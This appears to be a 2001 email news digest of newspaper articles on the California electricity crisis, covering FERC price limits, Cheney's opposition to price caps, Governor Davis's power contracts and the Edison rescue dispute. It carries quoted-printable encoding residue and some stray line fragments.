Sac Bee, Wed, 6/13: Dan Walters: Repaying huge power debts still looms
as a high political hurdle=20

Sac Bee, Wed, 6/13: Burton accuses Davis of veto talk

Sac Bee, Wed, 6/13: PG&E trustee rips execs' bonus plan

SD Union, Wed, 6/13: Congress presses regulators to lower electricity price=
s=20
in West

SD Union, Wed, 6/13: Cheney: No help from administration on power prices

SD Union, Wed, 6/13: Governor plans to release details of long-term power=
=20
contracts

LA Times, Wed, 6/13: Power Deals Exceed Prices on Spot Market

LA Times, Wed, 6/13: Federal Panel May Extend Price Limits

LA Times, Wed, 6/13: Energy Execs Gain Millions in Stock Sales   (Ken Lay,=
=20
Jeff Skilling mentioned)

LA Times, Wed, 6/13: Edison Reaches Accord with Alternative Generators

LA Times, Wed, 6/13: California-Only Sales Rule Fought by Plant

SF Chron, Wed, 6/13: Power kingpins rake in millions in stock deals=20
Capital gains enriched 76 insiders, records show         (Enron mentioned)

SF Chron, Wed, 6/13: Grand jury to look at energy suppliers=20
Inquiry into possible price manipulation

SF Chron, Wed, 6/13: Santa Rita solar array starts making electricity=20
Jail's system will make 500 kilowatts

SF Chron, Wed, 6/13: 'Dig-it-out-burn-it-up' methods won't work

SF Chron, Wed, 6/13:  California governor to release details of state's pow=
er=20
purchases

SF Chron, Wed, 6/13: Developments in California's energy crisis

SF Chron, Wed, 6/13: Energy Report

SF Chron, Wed, 6/13:  Edison reaches deal with small generators

SF Chron, Wed, 6/13:  Governor set to reveal terms of power deals=20
Court must decide confidentiality issue

SF Chron, Wed, 6/13: Senate to probe Western energy problems

Mercury News, Wed, 6/13: Expanded power price caps studied

Mercury News, Wed, 6/13: Electricity, ethanol...maybe there is a plot again=
st=20
us  (Editorial)

Mercury News, Wed, 6/13: Well, Texas does hate California   (Commentary)

OC Register, Wed, 6/13: FERC may expand cap

Individual.com (AP), Wed, 6/13: Lower Electric Rates in West Sought

Energy Insight, Wed, 6/13: Power Crisis puts Bonneville on political hot se=
at

Wash. Post, Wed, 6/13: No Energy Price Caps, Cheney Tells Calif.; Hill's=20
Democrats Warn of 'Disaster'

---
-----------------------------

 FERC weighs wider energy price controls=20
By David Whitney
Bee Washington Bureau
(Published June 13, 2001)=20
WASHINGTON -- The Federal Energy Regulatory Commission next week is expecte=
d=20
to extend an existing price-control plan effective only during California=
=20
power emergencies to all 13 Western states and around the clock,=20
congressional sources said Tuesday.=20
FERC scheduled an unusual Monday meeting to discuss electricity pricing in=
=20
California, a sign that the panel will expand its efforts to rein in high=
=20
wholesale rates. The commission is now up to full strength with the seating=
=20
of two new Bush administration nominees.=20
Vice President Dick Cheney, who met for nearly an hour with California=20
lawmakers Tuesday, told them the White House, while still strongly opposed =
to=20
price controls, would be closely watching the meeting.=20
"We'll see what happens next Monday," Rep. David Dreier, chairman of the=20
California Republican delegation, quoted Cheney as saying.=20
Other members who attended gave similar reports of Cheney's remarks,=20
indicating that the vice president is hoping that whatever the independent=
=20
panel does will ratchet down the political heat the White House has been=20
feeling from Western lawmakers because of high wholesale rates.=20
Commission press aides were not saying what the nature of Monday's agenda=
=20
would be, other than that it would arise out of the same case in which the=
=20
panel agreed in April to set a benchmark price for wholesale power sold on=
=20
the spot markets during emergencies.=20
That order has been widely criticized because it applies only in California=
=20
during periods of near or imminent blackouts and sets the spot-market rate=
=20
for all spot-market suppliers at the cost of production for the most costly=
,=20
least-efficient plant selling into the grid. During such emergencies,=20
spot-market sales can account for nearly a third of power deliveries.=20
Since the commission's order took effect late last month, wholesale prices=
=20
have plummeted even though they've been triggered only twice by power=20
emergency declarations. Other factors, including conservation success and=
=20
lower natural gas prices, also have contributed to that drop.=20
According to a price chart cited by the vice president, spot-market prices =
a=20
day ahead of delivery that were $400 a megawatt hour May 22 had dropped to=
=20
less than $50 by June 6, which is close to the going rate before the=20
electricity crisis erupted a year ago.=20
The idea of broadening the April order to apply throughout the West and=20
around the clock was first proposed by Rep. Doug Ose, R-Sacramento, chairma=
n=20
of the House Government Reform Committee's energy panel. Rep. Billy Tauzin,=
=20
R-La., chairman of the House Energy and Commerce Committee, urged the=20
commission to adopt Ose's idea in a letter Tuesday.=20
Ose, citing the periodical Electric Utility Week, said that on the two=20
occasions that the commission order was invoked, California's power rates=
=20
fell by almost two-thirds to between $108 and $135 a megawatt hour -- proof=
=20
that it was working to bring prices down.=20
Broadening that order is certain to further dampen rates, but Democrats are=
=20
solid in the belief that it won't help enough and raises other concerns.=20
"It would be a step in the right direction," said Sen. Barbara Boxer. But s=
he=20
said it also would reward the most inefficient, dirty plants by basing=20
spot-market rates on their cost of production.=20
Gov. Gray Davis and several West Coast lawmakers, most of them Democrats, a=
re=20
calling for the commission to re-regulate wholesale rates by basing them on=
=20
production costs plant by plant, with a fixed profit margin, for 18 months =
or=20
so while California builds its way out of the power crisis.=20
The commission's meeting Monday comes just as that plea is finding a=20
receptive audience in the new Democrat-controlled Senate.=20
Sen. Joe Lieberman, D-Conn., chairman of the Governmental Affairs Committee=
,=20
has scheduled a hearing for June 20 at which Davis will be the lead witness=
=20
in an inquiry into whether federal regulators are meeting their=20
responsibilities under the Federal Power Act to assure just and reasonable=
=20
rates.=20
There have been changes in FERC, too, that may have played an even stronger=
=20
force behind the Monday meeting. When the April order was issued, the=20
five-member commission was operating with just three seated members. The vo=
te=20
was 2-1, with Commissioner William Massey the lone vote against it. Massey=
=20
said it wouldn't help California, adding that he thought skyrocketing price=
s=20
throughout the West warranted stronger price controls.=20
Since then, two new commissioners have joined the panel. Patrick Wood III,=
=20
chairman of the Texas Public Utility Commission who is widely thought to be=
=20
President Bush's choice to take over as FERC chairman, and Pennsylvania=20
Utility Commissioner Nora Mead Brownell will attend their first meeting=20
today.=20
At their confirmation hearing in April, both Wood and Brownell refused to=
=20
rule out price controls.=20
Davis' top energy adviser, S. David Freeman, called Wood a "good guy," addi=
ng=20
that he is "encouraged" that the reconstituted commission was taking up the=
=20
California rate case again.=20
While wholesale prices are trending down now, Freeman said they likely woul=
d=20
soar anew during a prolonged hot spell, and he is powerless to do anything=
=20
about that.=20
"We are in desperate need of help from FERC," he said. "This is the most=20
massive failure of regulation in the history of electricity regulation. ...=
=20
We feel we are in a war for the economic vitality of the state."=20

The Bee's David Whitney can be reached at (202) 383-0004 or=20
dwhitney@mcclatchydc.com.

FERC weighs wider energy price controls=20
d=20
=20
=20
=20
=20
to=20
=20
=20
=20
=20
=20
=20
,=20
=20
=20
a=20
=20
n=20
=20
=20
=20
=20
he=20
re=20
=20
or=20
,=20
=20
=20
rates.=20
=20
te=20
=20
s=20
=20
=20
today.=20
=20
ng=20
=20
d=20
=20
=20

Dan Walters: Repaying huge power debts still looms as a high political hurd=
le

Gov. Gray Davis has been running around California lately proclaiming that=
=20
California is "turning the corner" on the energy crisis, explicitly citing=
=20
sharply lower wholesale prices for electricity and, implicitly, his improve=
d=20
standing in polls.=20
Events will reveal whether Davis' June hubris was justified. Despite the=20
recent drop in spot power prices, however, many aspects of the energy crisi=
s=20
remain unresolved, and chief among them is liquidating the $20 billion-plus=
=20
in debts that utilities and the state have accumulated for power purchases.=
=20
A $13.4 billion bond issue that is supposed to reimburse the state's genera=
l=20
fund for more than $8 billion advanced for power purchases and then finance=
=20
future electricity buys has been hung up by demands of potential bond=20
underwriters for more assurances about repayment. The bonds may not be sold=
=20
until August, if ever. And by then, nearly the entire bond issue may have t=
o=20
flow to the state's general fund, leaving little to finance future power=20
buys.=20
And then there are the $14 billion or so in debts that the state's two big=
=20
utilities, Pacific Gas and Electric and Southern California Edison, incurre=
d=20
for power purchases before their credit was cut off in January. PG&E alread=
y=20
has declared bankruptcy, and Edison was on the verge when Davis hurriedly=
=20
signed a "memorandum of understanding" (MOU) on a rescue scheme, the=20
centerpieces being state purchase of Edison's share of the intercity power=
=20
grid, plus a plan for ratepayers to pay off the utility's debts.=20
The Edison scheme has been denounced as a "bailout" by consumer activists a=
nd=20
faces certain legislative rejection, despite a multimillion-dollar lobbying=
=20
and public relations drive by the utility. And it's sparked a complex set o=
f=20
private maneuvers in and around the Capitol that are fraying the already co=
ol=20
relations between Davis and the Legislature's most powerful leader, Senate=
=20
President Pro Tem John Burton.=20
Davis called a dozen senators into his office Monday to press approval of t=
he=20
Edison MOU with minimal changes. Burton, who didn't attend, says the govern=
or=20
threatened legislators with rejection of their bills or budget appropriatio=
ns=20
if they didn't play ball, and promised retaliation if Davis uses strong-arm=
=20
tactics for Edison.=20
"On an issue like this, they (legislators) ought to be able to vote their=
=20
consciences," Burton told reporters, denouncing the Edison deal as a=20
"flat-ass bailout."=20
Davis spokesman Steve Maviglio rejected Burton's account: "The governor's t=
oo=20
smart to do any of that."=20
As the public squabbling heats up, so is the private search for a compromis=
e=20
that Edison, consumerists and other principal players can accept -- without=
=20
much confidence that it can be found. A dizzying array of MOU alternatives =
is=20
being floated, including an effort by Burton and Assembly Speaker Bob=20
Hertzberg to persuade Edison creditors to write off part of the debt, and f=
or=20
big industrial and power consumers to shoulder the rest in return for=20
recapturing the authority to make power supply deals outside the utility=20
grid.=20
In effect, the plan would create two power systems, one with regulated rate=
s=20
for individual and small business customers and unregulated "direct access"=
=20
for big users. Former Assemblyman Phil Isenberg, a lobbyist whose firm=20
includes energy generators, is acting as a mediator on behalf of Hertzberg.=
=20
Sources close to the negotiations say the big users won't entertain the dea=
l=20
until they know how much power the state has been buying, and at what price=
s.=20
Davis has insisted on keeping that data secret, and has been sued by the ne=
ws=20
media and others to force release, but on Tuesday announced that he will=20
agree to opening the supply contracts to inspection.=20
The chances of an Edison deal coming together this summer are no better tha=
n=20
50-50 -- about the same odds of the state's completing its bond sale. And=
=20
those uncertainties are compounded by great fears that California still fac=
es=20
the prospect of widespread and prolonged power blackouts this summer. "I=20
don't think it's over," Burton said Tuesday in a jab at Davis.=20

om
.

Burton accuses Davis of veto talk=20
By Kevin Yamamura
State Senate leader John Burton charged Tuesday that Gov. Gray Davis=20
threatened lawmakers earlier this week in an attempt to gain support for a=
=20
struggling deal with Southern California Edison.=20
While answering questions on the Edison deal, Burton alleged that Davis=20
suggested he would veto non-energy legislation if Senate Democrats did not=
=20
back a deal he struck with Edison in April.=20
Davis aides denied the charge, as did some lawmakers, but the episode=20
suggested that support for the governor's plan remains distant.=20
Davis met Monday with 13 senators as part of an ongoing lobbying effort for=
=20
the Edison deal. Under Davis' tentative agreement, the state would pay the=
=20
utility $2.76 billion for its transmission lines and dedicate a portion of=
=20
electricity rates to help pay off its debts. The deal requires legislative=
=20
approval.=20
Burton said he was not invited to the Monday meeting. His claims were based=
=20
on reports from colleagues, he said.=20
The Senate leader said the governor told senators that their past support f=
or=20
his proposals "didn't mean anything if they voted against this."=20
"If that turns out to be the case," Burton said, "I've been around long=20
enough to know how to play that game with the executive branch as well."=20
"He's too smart to do that," said Davis spokesman Steve Maviglio, referring=
=20
to alleged threats. "I think he expressed his strong support for the=20
legislation, but he's too smart to do that."=20
Three senators who attended the meeting with Davis disagreed with Burton's=
=20
characterization. One declined comment; others did not return telephone cal=
ls=20
on the subject.=20
"I heard no threats in anything (Davis) said," said Sen. Sheila Kuehl,=20
D-Santa Monica. "He said, 'Look, I want my bill to go up for a vote.' And w=
e=20
said, 'As it stands, we're not sure how much support it has.' "=20
Two months after the Edison deal was first unveiled, most lawmakers have=20
rejected it as written. Leaders in both houses are discussing various=20
alternatives to the governor's plan, which is contained in legislation by=
=20
Sen. Richard Polanco, D-Los Angeles.=20
"As it is before us, it is nothing more than a bailout for the utilities,"=
=20
Burton said.=20
He reiterated Tuesday that he wants to see generators and creditors take a =
30=20
percent cut in the debt they are owed for energy purchases. He is supportiv=
e=20
of a plan that would shift costs to big energy consumers and protect=20
Burton also unveiled three new energy proposals Tuesday. One would require=
=20
the California Energy Commission to provide backup power for high-priority=
=20
traffic signals. Another would prevent a 10 percent rate increase scheduled=
=20
to take effect next year. The third is a resolution that would support the=
=20
governor in seizing power plants.=20
"We're going to show him that there is support in the Senate for seizing=20
these power plants from these generators who, in fact, have been ripping us=
=20
off," Burton said.=20
Discussions on the governor's Edison proposal could begin as soon as next=
=20
week. Three Senate committees -- judiciary, energy and natural resources --=
=20
are likely to take up the bill.=20
Maviglio said that the governor remains open to changes to the deal -- a=20
compromise Davis will have to make given that few lawmakers are willing to=
=20
support the existing plan.=20
"I don't think there's a lot of support for (the deal) as it is, in every=
=20
aspect now," Kuehl said. "But I would say that among my colleagues, there i=
s=20
support for purchasing some assets in exchange for enabling Edison to come=
=20
back to health."=20

The Bee's Kevin Yamamura can be reached at (916) 326-5542 or=20
kyamamura@sacbee.com.

PG&E trustee rips execs' bonus plan=20
By Claire Cooper
Bee Legal Affairs Writer
SAN FRANCISCO -- The U.S. bankruptcy trustee has blasted a proposal by=20
Pacific Gas and Electric Co.'s top managers to pay themselves millions of=
=20
dollars for sticking with the utility as it navigates a course through its=
=20
financial chaos.=20
The utility asked U.S. Bankruptcy Judge Dennis Montali May 25 for permissio=
n=20
to pay $17.5 million to 223 members of its "leadership team." The official=
=20
committee of PG&E creditors has expressed support for the plan, which has=
=20
drawn criticism from consumer groups.=20
In filing a formal statement of opposition on Monday, trustee Linda Ekstrom=
=20
Stanley, who serves as the court's administrator, pointed out that the plan=
=20
would benefit only the top 1 percent of the PG&E work force, and give 20 to=
p=20
managers more than $5 million.=20
That focus, said Stanley, "suggests those employees with the most to gain a=
re=20
the active proponents" of the plan.=20
Bonuses aren't needed to keep top managers on the job because the utility i=
s=20
in no danger of folding and because the managers aren't likely to walk away=
=20
from their pay and retirement packages, Stanley said.=20
If PG&E wants to hand out incentives, Stanley suggested that it consider=20
giving stock in its parent company, PG&E Corp.=20
Stanley made a distinction between PG&E's bonus plan and those of other=20
debtors in bankruptcy that have rewarded loyal employees, such as America=
=20
West Airlines. In 1994, America West was given bankruptcy court permission =
to=20
reward rank and file employees who had stayed with the airline through wage=
=20
cuts and other misfortunes not experienced by PG&E managers, she said.=20
Montali has set a hearing on the matter for Monday.=20

The Bee's Claire Cooper can be reached at (415) 551-7701 or=20
ccooper@sacbee.com.

Congress presses regulators to lower electricity prices in West=20

By H. Josef Hebert
June 12, 2001=20
WASHINGTON =01) Federal regulators came under growing congressional pressur=
e=20
Tuesday to act further to lower the price of electricity in the West and st=
em=20
alleged abuses by power producers.=20
Democrats, who just became the Senate's majority party, planned hearings on=
=20
Western electricity prices including a look Wednesday into the Federal Ener=
gy=20
Regulatory Commission's handling of the power crisis.=20
The FERC, which regulates wholesale electricity transactions and natural ga=
s=20
transport, has stepped up its activities in recent weeks and plans a specia=
l=20
meeting next Monday on California's power markets. Regulators are expected =
to=20
decide at that meeting whether to take additional steps to rein in prices.=
=20
Meanwhile, political support has been growing on Capitol Hill, even among=
=20
some Republicans, for legislation to force FERC to impose temporary price=
=20
caps on Western power sales.=20
In recent days, wholesale electricity prices have dropped significantly in=
=20
California and the Northwest, but the threats still loom of a price rebound=
=20
and, in California, power blackouts.=20
The Bush administration remains strongly opposed to even limited price=20
controls that interfere in the free market.=20
Vice President Dick Cheney, in a meeting Tuesday with more than three dozen=
=20
Republican and Democratic lawmakers from California, said the administratio=
n=20
remains opposed "to any type of price control legislation," according to=20
lawmakers present.=20
But Sen. Jeff Bingaman, D-N.M., who became chairman of the Energy and Natur=
al=20
Resources Committee when Democrats assumed the Senate majority, warned FERC=
=20
to take additional action or face legislation demanding price caps.=20
"I hope that FERC will act more aggressively," Bingaman said during an ener=
gy=20
forum, "and we will not have to have legislation."=20
But he said he was prepared to move a bill out of his committee before the=
=20
July 4 recess, similar to one offered by Sens. Dianne Feinstein, D-Calif.,=
=20
and Gordon Smith, R-Ore., that would require FERC to impose electricity pri=
ce=20
controls based on cost of production and a reasonable profit.=20
At the same time, the Senate Governmental Affairs Committee, chaired by Sen=
.=20
Joe Lieberman, D-Conn., planned to hear Wednesday from several energy=20
economists about FERC's handling of wholesale power markets in the West. Mo=
st=20
of the witnesses, including Cornell economist Alfred Kahn, an advocate of=
=20
electricity deregulation, have urged additional price controls under curren=
t=20
circumstances.=20
While most Republicans, following the White House lead, remain opposed to=
=20
legislating price caps, there have been growing fears among GOP House membe=
rs=20
about potential political fallout over high Western electricity prices.=20
In a letter to FERC Chairman Curtis Hebert on Tuesday, Rep. Billy Tauzin,=
=20
R-La., chairman of the Energy and Commerce Committee, and 14 other GOP=20
lawmakers urged FERC to be more aggressive in pursing allegations of price=
=20
abuse and to expand the limited price mitigation program it approved in=20
April.=20
That order by FERC reins in wholesale electricity prices when California's=
=20
electricity reserves fall below 7.5 percent, triggering an emergency. It=20
limits prices to those charges for power from the most inefficient power=20
California Gov. Gray Davis has called the FERC limits inadequate and said=
=20
they've had little impact on prices. Tauzin, however, cited evidence that=
=20
FERC's order already has dampened electricity prices, which recently have=
=20
fell significantly.=20
The letter to FERC calls for the same mitigation to be broadened to include=
=20
all power transaction, not only those during emergencies, and for the limit=
s=20
to be expanded to include other parts of the Western power grid.=20
Rep. Joe Barton, R-Texas, chairman of a key Energy and Commerce subcommitte=
e,=20
was among those who signed the letter, but he said he opposes broader price=
=20
controls such as those favored by most congressional Democrats.=20
"There have been no instances where price caps have worked," insisted Barto=
n=20
at an energy forum sponsored by The Atlantic Monthly. The recent easing of=
=20
electricity prices shows "the market has begun to work," he said.=20
House Minority leader Richard Gephardt, D-Mo., said at a news conference th=
at=20
price caps pegged to the cost of producing power are needed "to restore=20
reliable and affordable" electricity supplies.=20
"Price controls are catastrophic," retorted Majority Leader Dick Armey,=20
R-Texas. "If you want blackouts in California, have price controls. He and=
=20
other Republicans say price controls inhibit electricity supplies.=20
??

On the Net: Federal Energy Regulatory Commission: www.ferc.gov/=20
Senate Governmental Affairs Committee witness list:=20
www.senate.gov/(tilde)gov=01)affairs/061301witness=01)list.htm=20

Cheney: No help from administration on power prices=20

By Mark Sherman
WASHINGTON =01) Vice President Dick Cheney told Californians in Congress Tu=
esday=20
not to expect energy price controls from the Bush administration=20
The reaction of Democrats ranged from disappointment to anger.=20
"We just got blown off by the vice president," said Rep. Maxine Waters, D-L=
os=20
Angeles, as she left the private meeting with Cheney at the Capitol.=20
The hourlong session between Cheney and more than 40 of the state's 52 Hous=
e=20
members and two senators amounted to little more than a reiteration of=20
previously expressed positions.=20
Democrats generally support price caps, while Republicans fear that limits=
=20
could worsen the power shortage.=20
Cheney was not immediately available after the meeting.=20
"Price caps add... not a single kilowatt to the electrical grid in=20
California," said his spokeswoman, Juleanna Glover Weiss, describing the vi=
ce=20
president's message to the delegation. "In fact, they could do just the=20
opposite."=20
The partisan nature of the gathering and its aftermath was inescapable.=20
"You'd think the president only thinks he's president of the states that=20
voted for him," said Rep. Henry Waxman, D-Los Angeles.=20
Rep. Anna Eshoo, D-Palo Alto, said at one point Cheney told her that she=20
'"was being very rude'" by interrupting him.=20
Rep. Ellen Tauscher, D-Walnut Creek, said Cheney defended the record prices=
=20
charged by power suppliers as the workings of the free market.=20
"In truth, it's a freak market," Tauscher said as she made an early exit.=
=20
Several Democrats claimed Cheney agreed to the meeting only because=20
California Republicans have been feeling increased political pressure to ac=
t=20
to ease the energy crisis.=20
Weiss said scheduling problems precluded a get-together before Tuesday.=20

Governor plans to release details of long-term power contracts=20

By Alexa Haussler
SACRAMENTO =01) After fighting off demands for information for months, Gov.=
 Gray=20
Davis plans to release this week the much-sought details of 38 long-term=20
contracts between the state and power generators, aides said Tuesday.=20
Davis now believes, senior adviser Nancy McFadden said, it's better to=20
release the information than keep it secret.=20
Republican lawmakers and several news organizations, including The Associat=
ed=20
Press, sued Davis in March, saying his refusal to release the contracts'=20
details violates the California Public Records Act.=20
Still, Davis refused, saying that revealing the details would put the state=
=20
at a competitive disadvantage in other contract talks.=20
The state has bought power since January for customers of three cash-strapp=
ed=20
utilities. Much of that has been on the expensive spot market, although the=
=20
state has more long-term contracts in recent weeks.=20
Davis aides also said details will be released this week about the state's=
=20
spot market power buys in January.=20
Raymond Hart, Department of Water Resources deputy director, wrote power=20
generators Monday saying the department will ask a judge Wednesday to throw=
=20
out a confidentiality provision in the contracts.=20
While revealing the details still might pose some problems in negotiations,=
=20
"those impacts are far more limited than they might have been had the=20
contracts been released even two weeks ago," Hart wrote.=20
Oklahoma-based Williams Energy, one of the generators with a state contract=
,=20
opposes the release of the contract details, a spokeswoman said.=20
"Information contained in those is proprietary information that allows us t=
o=20
be competitive and to bid competitively," said spokeswoman Paula=20
Hall-Collins.=20
Senate leader John Burton, D-San Francisco, said lawmakers need to see the=
=20
details of the contracts before they could approve the governor's plan to=
=20
rescue Southern California Edison, or any alternate plan.=20
"Until we see those contracts, and know exactly what's in them, we can't ma=
ke=20
a determination," Burton said. "There was an argument that I think was vali=
d=20
that the governor made at beginning of the contracts. ... We're totally=20
beyond that now."=20
Burton said Tuesday he'll introduce three energy-related measures in the=20
Legislature =01) including one that would repeal a 10 percent rate hike=20
scheduled to take effect next year.=20
The 1996 electricity deregulation law included an automatic 10 percent rate=
=20
reduction until March 2002. Burton's bill would remove that out from state=
=20
law, but the Public Utilities Commission could still raise rates if=20
commissioners felt it was needed.=20
Burton is also authoring a bill to provide backup battery power for traffic=
=20
signals in some intersections to keep the lights on during blackouts.=20
Burton's third measure is a resolution that voices support for Davis to=20
commandeer power plants under his emergency powers authority.=20
"The governor talks about it," Burton said. "We're going to show him that=
=20
there is support in the Senate for seizing these power plants from these=20
generators who have been ripping us off."=20

Power Deals Exceed Prices on Spot Market=20
Crisis: State has agreed to long-term pacts at rates far higher than=20
currently available. Defenders say prices are falling because the deals tak=
e=20
pressure off market.=20

?????California officials have agreed to purchase power for years to come a=
t=20
prices higher than those now being paid in the daily spot market, according=
=20
to confidential government records.
?????The 38 long-term contracts, totaling nearly $43 billion, could saddle=
=20
consumers with unnecessarily high utility rates for years if recently=20
declining prices represent a trend in the volatile electricity market.
?????Gov. Gray Davis in recent days has largely credited these contracts wi=
th=20
breaking the fever of the energy crisis. But the cooling prices--and fresh=
=20
details of the contracts--raise concerns that the 18 energy companies may=
=20
have gotten the better end of the deals.
?????Perhaps adding to the downward pressure on prices, senior officials of=
=20
the Federal Energy Regulatory Commission said Tuesday that the agency is=20
considering new ways to curb California electricity prices this summer.
?????Among other things, the commission might extend its current wholesale=
=20
price limits--now in effect only during power emergencies--to 24 hours a da=
y,=20
seven days a week.
?????The contract records obtained by The Times show that the state is=20
committed to buying power at prices up to $154 a megawatt-hour for peak=20
electricity and more than $95 for energy that includes times of day when=20
demand is lowest.
?????By contrast, with a recent tumble in wholesale power prices, the state=
=20
purchased peak daytime electricity at less than $100 an hour and less than=
=20
$20 at night when demand trails off. On Tuesday, prices for last-minute pea=
k=20
power in California were under $58 a megawatt-hour, according a Bloomberg=
=20
news service survey.
?????In some contracts, the state may pay more or less in the years ahead,=
=20
depending on the price of natural gas. Under terms negotiated by the Davis=
=20
administration, one company receives $80 million to $90 million a year simp=
ly=20
to be ready to produce, even if no electricity is sold.
?????The good news surrounding current market prices could change rapidly=
=20
this summer as temperatures climb and use of air conditioning surges.
?????Nonetheless, experts say, the recent prices could be an omen of the=20
future, when as many as 15 new power plants come online, adding thousands o=
f=20
megawatts to the California grid.
?????"The theme here is the governor embarked on a long-term strategy for a=
=20
short-term crisis," said Peter Navarro, an economist at UC Irvine, who=20
reviewed some of the contract terms at the request of The Times. "They pret=
ty=20
much got this exactly wrong."
?????State officials, including Davis, say they are proud of the hard-fough=
t=20
concessions they won from the power merchants, who have reaped immense=20
profits from the state's failed deregulation scheme.
?????They say the benefits of the power contracts, while less predictable i=
n=20
the long term, have already helped alter the marketplace. Perhaps most=20
important, they say, the contracts have freed the state from a nearly total=
=20
reliance on last-minute purchases in the costly spot market.
?????Officials say the contracts have locked up nearly half the state's pea=
k=20
power needs this summer. The remainder will come from short-term contracts,=
=20
last-minute purchases and reduced demand from conservation programs. "This=
=20
was all a well thought-through plan of action," said Davis energy advisor S=
.=20
David Freeman, former head of the Los Angeles Department of Water and Power=
.=20
"The war ain't over. But we have landed on enemy territory and we are rolli=
ng=20
them back."
?????Freeman seemed less confident, however, when asked whether the state m=
ay=20
end up being stuck with high-priced contracts. "We hardly know the present,=
"=20
he said, "we certainly don't know the future."
?????Ray Hart, deputy director of the Department of Water Resources, said t=
he=20
state is absolutely not overpaying for power under the contracts his agency=
=20
is helping to negotiate. He acknowledged that the average price the state i=
s=20
paying under the contracts is higher than current market prices.
?????And that is the way it should be, he said, because the state has=20
dampened the volatility of the spot market by reducing last-minute purchase=
s.
?????"If we didn't have contracts," Hart said, "we'd be buying 100% on the=
=20
spot market . . . spending $300-plus [a megawatt-hour] for energy."
?????Many of the contract details remain shrouded in mystery, making it=20
difficult to gauge the true extent of the state's financial commitment.

?????News Organizations Seek Disclosure of Deals
?????The Times and other news organizations have sued the state to release=
=20
the contracts and provide details on the state's daily power purchases, now=
=20
totaling more than $7 billion. The Davis administration previously refused =
to=20
release the information, saying that it would undercut the state's efforts =
to=20
secure additional long-term contracts.
?????But on Tuesday the governor announced that he intended to release the=
=20
contracts as early as today "with only very minor redactions."
?????The about-face came after state Atty. Gen. Bill Lockyer said publicly=
=20
that the contracts should no longer be kept secret and preceded by a day a=
=20
hearing before a San Diego Superior Court judge on the case brought by the=
=20
news organizations.=20
?????The administration sent letters to the 18 power producers and marketer=
s=20
that have the contracts with the state notifying them of the hearing.
?????In a letter to one firm, the administration said the San Diego hearing=
=20
"may be the only such opportunity for your firm to indicate whether it has=
=20
any objection to the public disclosure of the contract."
?????More than one firm is likely to object.
?????"We have always maintained that there's information in the contracts=
=20
that's proprietary that allows us to operate competitively," said Williams=
=20
Companies spokeswoman Paula Hall-Collins.=20
?????Most of the contracts have been released under confidentiality=20
agreements to federal regulators, state Controller Kathleen Connell and a=
=20
congressional committee probing the power crisis.
?????One congressman who has studied the contracts, Doug Ose (R-Sacramento)=
,=20
criticized the governor for locking the state into "high rates for years to=
=20
come."
?????"This sort of short-term fix," Ose said, "has squandered our [state=20
budget] surplus and hampers the state treasury for the foreseeable future."
?????The records obtained The Times show that the contracts vary widely in=
=20
cost and complexity.
?????For example, in a series of agreements for power in Southern Californi=
a,=20
the state has agreed to pay Dynegy Inc. some rates fixed at a $119 a=20
megawatt-hour for peak power beginning next year, more than double the pric=
e=20
of electricity on the spot market Tuesday.
?????Under a separate deal for the same three-year period, the Houston-base=
d=20
company has an entirely different rate structure that could minimize its ri=
sk=20
of losses. The state will pay $21.65 a megawatt-hour, in addition to coveri=
ng=20
fuel and other production costs that could rise or fall dramatically.
?????Hart, of the state water agency, argues that California consumers coul=
d=20
benefit should natural gas prices fall.
?????A pair of contracts with Constellation Energy Group illustrates the=20
horse trading.=20
?????In one two-year deal, the Baltimore-based company will receive $154 a=
=20
megawatt-hour for peak power, the highest price in the records reviewed by=
=20
The Times. The state also agreed to take a larger amount of power around th=
e=20
clock. That deal, at $58 a megawatt-hour, extends over eight years beginnin=
g=20
in 2003.
?????Freeman, who helped broker many of the deals, said the state had to si=
gn=20
long-term contracts to lock in electricity needed this year and next--a=20
necessary "quid pro quo."
?????Freeman said critics do not recognize the difficult negotiating positi=
on=20
the state faced earlier this year.
?????Some energy insiders say the state hurt itself by waiting too long to=
=20
begin those negotiations, when prices had soared and its largest utilities=
=20
were buried in debt.
?????Last summer, Houston-based Enron and several other firms offered to se=
ll=20
power to California's utilities for just five years at about $50 a=20
megawatt-hour, according to Mark Palmer, an Enron spokesman. "Now you've go=
t=20
the state committed to 10 years of buying power at what appears to be=20
significantly over market [prices]," he said.
?????Freeman blamed the Public Utilities Commission for balking at long-ter=
m=20
contracts for fear that ratepayers would be stuck with overpriced energy if=
=20
prices fell.
---=20
?????Times staff writers Doug Smith in Los Angeles, Nancy Vogel and Dan=20
Morain in Sacramento and Ricardo Alonso-Zaldivar in Washington contributed =
to=20
this story.

Copyright 2001 Los Angeles Times=20

Federal Panel May Extend Price Limits=20
Utilities: Regulatory commission weighs expanding the plan beyond emergenci=
es=20
and throughout the West.=20

By RICARDO ALONSO-ZALDIVAR, Times Staff Writer=20

?????WASHINGTON--The Federal Energy Regulatory Commission, responding to=20
pressure from lawmakers, state officials and consumers, is considering a=20
significant expansion of its plan to limit California electricity prices th=
is=20
summer, senior agency officials said Tuesday.
?????Commissioners and staff members are engaged in intense negotiations in=
=20
advance of a key meeting Monday to finalize an emergency plan for Californi=
a=20
and the West.
?????According to several commission officials, the options being discussed=
=20
include:
?????* Extending FERC's current price limits--now in effect only during pow=
er=20
emergencies in California--to 24 hours a day, seven days a week. The limits=
,=20
intended to prevent price spikes, were invoked during two emergencies last=
=20
month and resulted in immediate cuts in the price of wholesale electricity.=
=20
FERC is also considering applying such limits throughout the West.
?????* Requiring power generators in the entire Western region to sell=20
available electricity to California or into their local power grids during=
=20
emergencies, reducing the threat of blackouts.
?????* Establishing a regional framework for large power users to sell=20
electricity back into the grid during peak usage times. Some companies that=
=20
have long-term power contracts at low rates may be able to make money by=20
scaling back their operations and selling electricity.
?????* Tightening rules on what energy marketers--firms that buy and resell=
=20
power contracts much like stockbrokers trade shares--can charge for their=
=20
electricity.
?????* Expanding an order issued last year that authorized refunds for=20
excessive markups during the most extreme power emergencies. That refund=20
order would now apply to excessive prices during all power emergencies.
?????The measures under consideration stop short of the price caps being=20
sought by Gov. Gray Davis and California Democrats. But they may go far=20
enough to provide an acceptable compromise.
?????"The whole thing is in flux, but it is moving toward a much more=20
effective price mitigation plan, not only for California but for the West,"=
=20
said an agency official.
?????Strong political pressure from Senate Democrats and House Republicans=
=20
appears to have galvanized FERC into taking a more decisive role. "We're so=
rt=20
of the last to get it," the official said.
?????FERC has been bitterly criticized by Davis for abandoning California.=
=20
FERC Chairman Curtis L. Hebert Jr. has responded by citing dozens of modest=
=20
FERC actions to assist the state.
